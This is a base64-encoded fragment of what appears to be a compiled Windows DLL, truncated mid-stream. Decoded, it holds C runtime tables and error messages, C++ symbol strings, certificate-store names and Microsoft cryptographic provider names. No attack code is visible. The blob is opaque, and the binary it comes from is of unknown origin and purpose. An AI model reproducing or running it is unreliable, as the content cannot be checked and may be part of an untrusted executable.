e7v8PHy8/T19vf4+fr7/P3+/wABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9AQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpbXF1eX2BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWnt8fX5/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v9qngIQACIFEFgiBRAobnVsbCkAAAAAAAAGAAAGAAEAABAAAwYABgIQBEVFRQUFBQUFNTAAUAAAAAAoIDhQWAcIADcwMFdQBwAAICAIAAAAAAhgaGBgYGAAAHhweHh4eAgHCAAABwAICAgAAAgACAAHCAAAAEgASAA6AG0AbQA6AHMAcwAAAAAAZABkAGQAZAAsACAATQBNAE0ATQAgAGQAZAAsACAAeQB5AHkAeQAAAE0ATQAvAGQAZAAvAHkAeQAAAAAAUABNAAAAAABBAE0AAAAAAEQAZQBjAGUAbQBiAGUAcgAAAAAATgBvAHYAZQBtAGIAZQByAAAAAABPAGMAdABvAGIAZQByAAAAUwBlAHAAdABlAG0AYgBlAHIAAABBAHUAZwB1AHMAdAAAAAAASgB1AGwAeQAAAAAASgB1AG4AZQAAAAAAQQBwAHIAaQBsAAAATQBhAHIAYwBoAAAARgBlAGIAcgB1AGEAcgB5AAAAAABKAGEAbgB1AGEAcgB5AAAARABlAGMAAABOAG8AdgAAAE8AYwB0AAAAUwBlAHAAAABBAHUAZwAAAEoAdQBsAAAASgB1AG4AAABNAGEAeQAAAEEAcAByAAAATQBhAHIAAABGAGUAYgAAAEoAYQBuAAAAUwBhAHQAdQByAGQAYQB5AAAAAABGAHIAaQBkAGEAeQAAAAAAVABoAHUAcgBzAGQAYQB5AAAAAABXAGUAZABuAGUAcwBkAGEAeQAAAFQAdQBlAHMAZABhAHkAAABNAG8AbgBkAGEAeQAAAAAAUwB1AG4AZABhAHkAAAAAAFMAYQB0AAAARgByAGkAAABUAGgAdQAAAFcAZQBkAAAAVAB1AGUAAABNAG8AbgAAAFMAdQBuAAAASEg6bW06c3MAAAAAZGRkZCwgTU1NTSBkZCwgeXl5eQBNTS9kZC95eQAAAABQTQAAQU0AAERlY2VtYmVyAAAAAE5vdmVtYmVyAAAAAE9jdG9iZXIAU2VwdGVtYmVyAAAAQXVndXN0AABKdWx5AAAAAEp1bmUAAAAAQXByaWwAAABNYXJjaAAAAEZlYnJ1YXJ5AAAAAEphbnVhcnkARGVjAE5vdgBPY3QAU2VwAEF1ZwBKdWwASnVuAE1heQBBcHIATWFyAEZlYgBKYW4AU2F0dXJkYXkAAAAARnJpZGF5AABUaHVyc2RheQAAAABXZWRuZXNkYXkAAABUdWVzZGF5AE1vbmRheQAAU3VuZGF5AABTYXQARnJpAFRodQBXZWQAVHVlAE1vbgBTdW4ASwBFAFIATgBFAEwAMwAyAC4ARABMAEwAAAAAAEZsc0ZyZWUARmxzU2V0VmFsdWUARmxzR2V0VmFsdWUARmxzQWxsb2MAAAAAYwBjAHMAAABVAFQARgAtADgAAABVAFQARgAtADEANgBMAEUAAAAAAFUATgBJAEMATwBEAEUAAABDb3JFeGl0UHJvY2VzcwAAbQBzAGMAbwByAGUAZQAuAGQAbABsAAAAcgB1AG4AdABpAG0AZQAgAGUAcgByAG8AcgAgAAAAAAANAAoAAAAAAFQATABPAFMAUwAgAGUAcgByAG8AcgANAAoAAABTAEkATgBHACAAZQByAHIAbwByAA0ACgAAAAAARABPAE0AQQBJAE4AIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMwAzAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgAHQAbwAgAHUAcwBlACAATQBTAEkATAAgAGMAbwBkAGUAIABmAHIAbwBtACAAdABoAGkAcwAgAGEAcwBzAGUAbQBiAGwAeQAgAGQAdQByAGkAbgBnACAAbgBhAHQAaQB2AGUAIABjAG8AZABlACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuACAASQB0ACAAaQBzACAAbQBvAHMAdAAgAGwAaQBrAGUAbAB5ACAAdABoAGUAIAByAGUAcwB1AGwAdAAgAG8AZgAgAGMAYQBsAGwAaQBuAGcAIABhAG4AIABNAFMASQBMAC0AYwBvAG0AcABpAGwAZQBkACAAKAAvAGMAbAByACkAIABmAHUAbgBjAHQAaQBvAG4AIABmAHIAbwBtACAAYQAgAG4AYQB0AGkAdgBlACAAYwBvAG4AcwB0AHIAdQBjAHQAbwByACAAbwByACAAZgByAG8AbQAgAEQAbABsAE0AYQBpAG4ALgANAAoAAAAAAFIANgAwADMAMgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwBjAGEAbABlACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAA0ACgAAAAAAUgA2ADAAMwAxAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgAHQAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIAB0AGgAZQAgAEMAUgBUACAAbQBvAHIAZQAgAHQAaABhAG4AIABvAG4AYwBlAC4ACgBUAGgAaQBzACAAaQBuAGQAaQBjAGEAdABlAHMAIABhACAAYgB1AGcAIABpAG4AIAB5AG8AdQByACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC4ADQAKAAAAAABSADYAMAAzADAADQAKAC0AIABDAFIAVAAgAG4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQBkAA0ACgAAAAAAUgA2ADAAMgA4AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAaABlAGEAcAANAAoAAAAAAAAAAABSADYAMAAyADcADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AdwBpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAcwB0AGQAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANQANAAoALQAgAHAAdQByAGUAIAB2AGkAcgB0AHUAYQBsACAAZgB1AG4AYwB0AGkAbwBuACAAYwBhAGwAbAANAAoAAAAAAAAAUgA2ADAAMgA0AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAXwBvAG4AZQB4AGkAdAAvAGEAdABlAHgAaQB0ACAAdABhAGIAbABlAA0ACgAAAAAAAAAAAFIANgAwADEAOQANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAbwBwAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABkAGUAdgBpAGMAZQANAAoAAAAAAAAAAABSADYAMAAxADgADQAKAC0AIAB1AG4AZQB4AHAAZQBjAHQAZQBkACAAaABlAGEAcAAgAGUAcgByAG8AcgANAAoAAAAAAAAAAABSADYAMAAxADcADQAKAC0AIAB1AG4AZQB4AHAAZQBjAHQAZQBkACAAbQB1AGwAdABpAHQAaAByAGUAYQBkACAAbABvAGMAawAgAGUAcgByAG8AcgANAAoAAAAAAAAAAABSADYAMAAxADYADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIAB0AGgAcgBlAGEAZAAgAGQAYQB0AGEADQAKAAAAUgA2ADAAMQAwAA0ACgAtACAAYQBiAG8AcgB0ACgAKQAgAGgAYQBzACAAYgBlAGUAbgAgAGMAYQBsAGwAZQBkAA0ACgAAAAAAUgA2ADAAMAA5AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAZQBuAHYAaQByAG8AbgBtAGUAbgB0AA0ACgAAAFIANgAwADAAOAANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGEAcgBnAHUAbQBlAG4AdABzAA0ACgAAAAAAAABSADYAMAAwADIADQAKAC0AIABmAGwAbwBhAHQAaQBuAGcAIABwAG8AaQBuAHQAIABzAHUAcABwAG8AcgB0ACAAbgBvAHQAIABsAG8AYQBkAGUAZAANAAoAAAAAAAAAAAACAAAAaP0DEAgAAAAQ/QMQCQAAALj8AxAKAAAAcPwDEBAAAAAY/AMQEQAAALj7AxASAAAAcPsDEBMAAAAY+wMQGAAAAKj6AxAZAAAAWPoDEBoAAADo+QMQGwAAAHj5AxAcAAAAKPkDEB4AAADo+AMQHwAAACD4AxAgAAAAuPcDECEAAADI9QMQeAAAAKT1AxB5AAAAiPUDEHoAAABs9QMQ/AAAAGT1AxD/AAAARPUDEE0AaQBjAHIAbwBzAG8AZgB0ACAAVgBpAHMAdQBhAGwAIABDACsAKwAgAFIAdQBuAHQAaQBtAGUAIABMAGkAYgByAGEAcgB5AAAAAAAKAAoAAAAAAC4ALgAuAAAAPABwAHIAbwBnAHIAYQBtACAAbgBhAG0AZQAgAHUAbgBrAG4AbwB3AG4APgAAAAAAUgB1AG4AdABpAG0AZQAgAEUAcgByAG8AcgAhAAoACgBQAHIAbwBnAHIAYQBtADoAIAAAAF9uZXh0YWZ0ZXIAAF9sb2diAAAAX3luAF95MQBfeTAAZnJleHAAAABmbW9kAAAAAF9oeXBvdAAAX2NhYnMAAABsZGV4cAAAAG1vZGYAAAAAZmFicwAAAABmbG9vcgAAAGNlaWwAAAAAdGFuAGNvcwBzaW4Ac3FydAAAAABhdGFuMgAAAGF0YW4AAAAAYWNvcwAAAABhc2luAAAAAHRhbmgAAAAAY29zaAAAAABzaW5oAAAAAGxvZzEwAAAAbG9nAHBvdwBleHAAdW5pdGVkLXN0YXRlcwAAAHVuaXRlZC1raW5nZG9tAAB0cmluaWRhZCAmIHRvYmFnbwAAAHNvdXRoLWtvcmVhAHNvdXRoLWFmcmljYQAAAABzb3V0aCBrb3JlYQBzb3V0aCBhZnJpY2EAAAAAc2xvdmFrAABwdWVydG8tcmljbwBwci1jaGluYQAAAABwciBjaGluYQAAAABuegAAbmV3LXplYWxhbmQAaG9uZy1rb25nAAAAaG9sbGFuZABncmVhdCBicml0YWluAAAAZW5nbGFuZABjemVjaAAAAGNoaW5hAAAAYnJpdGFpbgBhbWVyaWNhAHVzYQB1cwAAdWsAAHN3aXNzAAAAc3dlZGlzaC1maW5sYW5kAHNwYW5pc2gtdmVuZXp1ZWxhAAAAc3BhbmlzaC11cnVndWF5AHNwYW5pc2gtcHVlcnRvIHJpY28Ac3BhbmlzaC1wZXJ1AAAAAHNwYW5pc2gtcGFyYWd1YXkAAAAAc3BhbmlzaC1wYW5hbWEAAHNwYW5pc2gtbmljYXJhZ3VhAAAAc3BhbmlzaC1tb2Rlcm4AAHNwYW5pc2gtbWV4aWNhbgBzcGFuaXNoLWhvbmR1cmFzAAAAAHNwYW5pc2gtZ3VhdGVtYWxhAAAAc3BhbmlzaC1lbCBzYWx2YWRvcgBzcGFuaXNoLWVjdWFkb3IAc3BhbmlzaC1kb21pbmljYW4gcmVwdWJsaWMAAHNwYW5pc2gtY29zdGEgcmljYQAAc3BhbmlzaC1jb2xvbWJpYQAAAABzcGFuaXNoLWNoaWxlAAAAc3BhbmlzaC1ib2xpdmlhAHNwYW5pc2gtYXJnZW50aW5hAAAAcG9ydHVndWVzZS1icmF6aWxpYW4AAAAAbm9yd2VnaWFuLW55bm9yc2sAAABub3J3ZWdpYW4tYm9rbWFsAAAAAG5vcndlZ2lhbgAAAGl0YWxpYW4tc3dpc3MAAABpcmlzaC1lbmdsaXNoAAAAZ2VybWFuLXN3aXNzAAAAAGdlcm1hbi1sdXhlbWJvdXJnAAAAZ2VybWFuLWxpY2h0ZW5zdGVpbgBnZXJtYW4tYXVzdHJpYW4AZnJlbmNoLXN3aXNzAAAAAGZyZW5jaC1sdXhlbWJvdXJnAAAAZnJlbmNoLWNhbmFkaWFuAGZyZW5jaC1iZWxnaWFuAABlbmdsaXNoLXVzYQBlbmdsaXNoLXVzAABlbmdsaXNoLXVrAABlbmdsaXNoLXRyaW5pZGFkIHkgdG9iYWdvAAAAZW5nbGlzaC1zb3V0aCBhZnJpY2EAAAAAZW5nbGlzaC1uegAAZW5nbGlzaC1qYW1haWNhAGVuZ2xpc2gtaXJlAGVuZ2xpc2gtY2FyaWJiZWFuAAAAZW5nbGlzaC1jYW4AZW5nbGlzaC1iZWxpemUAAGVuZ2xpc2gtYXVzAGVuZ2xpc2gtYW1lcmljYW4AAAAAZHV0Y2gtYmVsZ2lhbgAAAGNoaW5lc2UtdHJhZGl0aW9uYWwAY2hpbmVzZS1zaW5nYXBvcmUAAABjaGluZXNlLXNpbXBsaWZpZWQAAGNoaW5lc2UtaG9uZ2tvbmcAAAAAY2hpbmVzZQBjaGkAY2hoAGNhbmFkaWFuAAAAAGJlbGdpYW4AYXVzdHJhbGlhbgAAYW1lcmljYW4tZW5nbGlzaAAAAABhbWVyaWNhbiBlbmdsaXNoAAAAAGFtZXJpY2FuAAAAAPwEBBBFTlUA6AQEEEVOVQDUBAQQRU5VAMgEBBBFTkEAwAQEEE5MQgC0BAQQRU5DALAEBBBaSEgArAQEEFpISQCkBAQQQ0hTAJAEBBBaSEgAfAQEEENIUwBoBAQQWkhJAFQEBBBDSFQARAQEEE5MQgAwBAQQRU5VACQEBBBFTkEAFAQEEEVOTAAIBAQQRU5DAPQDBBBFTkIA6AMEEEVOSQDYAwQQRU5KAMwDBBBFTloAtAMEEEVOUwCYAwQQRU5UAIwDBBBFTkcAgAMEEEVOVQB0AwQQRU5VAGQDBBBGUkIAVAMEEEZSQwBAAwQQRlJMADADBBBGUlMAIAMEEERFQQAMAwQQREVDAPgCBBBERUwA6AIEEERFUwDYAgQQRU5JAMgCBBBJVFMAvAIEEE5PUgCoAgQQTk9SAJQCBBBOT04AfAIEEFBUQgBoAgQQRVNTAFgCBBBFU0IASAIEEEVTTAA0AgQQRVNPACACBBBFU0MABAIEEEVTRAD0AQQQRVNGAOABBBBFU0UAzAEEEEVTRwC4AQQQRVNIAKgBBBBFU00AmAEEEEVTTgCEAQQQRVNJAHQBBBBFU0EAYAEEEEVTWgBQAQQQRVNSADwBBBBFU1UALAEEEEVTWQAYAQQQRVNWAAgBBBBTVkYAAAEEEERFUwD8AAQQRU5HAPgABBBFTlUA9AAEEEVOVQDsAAQQVVNBAOQABBBHQlIA3AAEEENITgDUAAQQQ1pFAMwABBBHQlIAvAAEEEdCUgC0AAQQTkxEAKgABBBIS0cAnAAEEE5aTACYAAQQTlpMAIwABBBDSE4AgAAEEENITgB0AAQQUFJJAGwABBBTVksAXAAEEFpBRgBQAAQQS09SAEAABBBaQUYANAAEEEtPUgAgAAQQVFRPAPwABBBHQlIAEAAEEEdCUgAAAAQQVVNBAPgABBBVU0EADAwaDAcQNgQMCC0EAwQMEBAIHQhPQ1AAQUNQAE5vcndlZ2lhbi1OeW5vcnNrAAAABQAAwAsAAAAAAAAAHQAAwAQAAAAAAAAAlgAAwAQAAAAAAAAAjQAAwAgAAAAAAAAAjgAAwAgAAAAAAAAAjwAAwAgAAAAAAAAAkAAAwAgAAAAAAAAAkQAAwAgAAAAAAAAAkgAAwAgAAAAAAAAAkwAAwAgAAAAAAAAAtAIAwAgAAAAAAAAAtQIAwAgAAAAAAAAAAwAAAAkAAACQAAAADAAAAElsbGVnYWwgYnl0ZSBzZXF1ZW5jZQAAAERpcmVjdG9yeSBub3QgZW1wdHkARnVuY3Rpb24gbm90IGltcGxlbWVudGVkAAAAAE5vIGxvY2tzIGF2YWlsYWJsZQAARmlsZW5hbWUgdG9vIGxvbmcAAABSZXNvdXJjZSBkZWFkbG9jayBhdm9pZGVkAAAAUmVzdWx0IHRvbyBsYXJnZQAAAABEb21haW4gZXJyb3IAAAAAQnJva2VuIHBpcGUAVG9vIG1hbnkgbGlua3MAAFJlYWQtb25seSBmaWxlIHN5c3RlbQAAAEludmFsaWQgc2VlawAAAABObyBzcGFjZSBsZWZ0IG9uIGRldmljZQBGaWxlIHRvbyBsYXJnZQAASW5hcHByb3ByaWF0ZSBJL08gY29udHJvbCBvcGVyYXRpb24AVG9vIG1hbnkgb3BlbiBmaWxlcwBUb28gbWFueSBvcGVuIGZpbGVzIGluIHN5c3RlbQAAAEludmFsaWQgYXJndW1lbnQAAAAASXMgYSBkaXJlY3RvcnkAAE5vdCBhIGRpcmVjdG9yeQBObyBzdWNoIGRldmljZQAASW1wcm9wZXIgbGluawAAAEZpbGUgZXhpc3RzAFJlc291cmNlIGRldmljZQBVbmtub3duIGVycm9yAAAAQmFkIGFkZHJlc3MAUGVybWlzc2lvbiBkZW5pZWQAAABOb3QgZW5vdWdoIHNwYWNlAAAAAFJlc291cmNlIHRlbXBvcmFyaWx5IHVuYXZhaWxhYmxlAAAAAE5vIGNoaWxkIHByb2Nlc3NlcwAAQmFkIGZpbGUgZGVzY3JpcHRvcgBFeGVjIGZvcm1hdCBlcnJvcgAAAEFyZyBsaXN0IHRvbyBsb25nAAAATm8gc3VjaCBkZXZpY2Ugb3IgYWRkcmVzcwAAAElucHV0L291dHB1dCBlcnJvcgAASW50ZXJydXB0ZWQgZnVuY3Rpb24gY2FsbAAAAE5vIHN1Y2ggcHJvY2VzcwBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5AAAAT3BlcmF0aW9uIG5vdCBwZXJtaXR0ZWQATm8gZXJyb3IAAAAAZSswMDAAAAAGgICGgIGAAAAQA4aAhoKAFAUFRUVFhYWFBQAAMDCAUICIAAgAKCc4UFeAAAcANzAwUFCIAAAAICiAiICAAAAAYGhgaGhoCAgHeHBwd3BwCAgAAAgACAAHCAAAACBDb21wbGV0ZSBPYmplY3QgTG9jYXRvcicAAAAgQ2xhc3MgSGllcmFyY2h5IERlc2NyaXB0b3InAAAAACBCYXNlIENsYXNzIEFycmF5JwAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoACBUeXBlIERlc2NyaXB0b3InAAAAYGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQnAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAABgZHluYW1pYyBpbml0aWFsaXplciBmb3IgJwAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgb21uaSBjYWxsc2lnJwAAIGRlbGV0ZVtdAAAAIG5ld1tdAABgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwBgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAYHVkdCByZXR1cm5pbmcnAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgd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FIAUwBBAF8AUwBJAEcAXwBQAFIATwBWAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAFAAUgBPAFYAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABEAFMAUwAgAGEAbgBkACAARABpAGYAZgBpAGUALQBIAGUAbABsAG0AYQBuACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARQBOAEgAXwBEAFMAUwBfAEQASABfAFAAUgBPAFYAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEQASAAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABTAG0AYQByAHQAIABDAGEAcgBkACAAQwByAHkAcAB0AG8AIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBTAEMAQQBSAEQAXwBQAFIATwBWAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQB